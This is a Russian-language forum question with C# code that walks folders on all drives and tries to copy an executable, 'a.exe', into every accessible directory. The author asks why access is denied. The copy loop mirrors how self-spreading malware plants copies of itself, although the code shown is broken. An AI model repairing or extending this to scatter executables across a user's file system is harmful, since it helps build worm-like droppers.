Отказано в доступе по данному пути
Написал небольшую программку, которая пробегается по всем папкам на дисках компьютера, получается оттуда все файлы и потом должна скопировать во все доступные директории некоторый файл, но вот проблема, при попытки копирования любая директория оказывается недоступна. Хотя когда получает все пути всех файлов все хорошо, те директории к которым нету доступа игнорирует, а в доступных получает пути файлов. Мне кажется ненормально, что резко любые директории стали недоступны Вот код:
using System;
using System.Collections.Generic;
using System.IO;
namespace тест_5пр
{
class Program
{
static void Main(string[] args)
{
string[] Drives = Environment.GetLogicalDrives();//Получаем диски на комьютере
List<DirectoryInfo> directories = new List<DirectoryInfo>();//Создаем список для путей всех папок
//обход дисков - запись всех путей всех папок на дисках в список
for (int i = 0; i < Drives.Length; i++)
{
DirectoryInfo dinfo = new DirectoryInfo(Drives[i]);//Получаем дерикторию в которой надо обойти папки, в данном случае диск
DirectoryInfo[] dirs = dinfo.GetDirectories();//Получаем поддериктории(папки в папке) из текущей дериктории(в данном случае диск)
foreach (DirectoryInfo current in dirs)
{
directories.Add(current);//Добавляем в список дериктории из массива (т.к. может быть больше одного диска на компьютере)
}
}
//обход всех папок и получение файлов в них
List<FileInfo> filesList = new List<FileInfo>();
for (int i = 0; i < directories.Count; i++)
{
try//оборачиваем try catch из за возможности встретить дериктории к которым запрещен доступ
{
DirectoryInfo dinfo = new DirectoryInfo(directories[i].FullName);//получаем полный путь каждой папки находящихся на дисках
FileInfo[] files = dinfo.GetFiles();//получаем файлы из текущей папки
foreach (FileInfo current in files)
{
filesList.Add(current);//Добавляем в общий список файлов
}
}
catch (Exception ex)
{
}
}
//копирование файла во все доступные дериктории
for (int i = 0; i < directories.Count; i++)
{
try
{
File.Copy("a.exe", directories[i].FullName);
}
catch (Exception ex)
{
Console.WriteLine("Невозможно скопировать");
}
}
}
}
}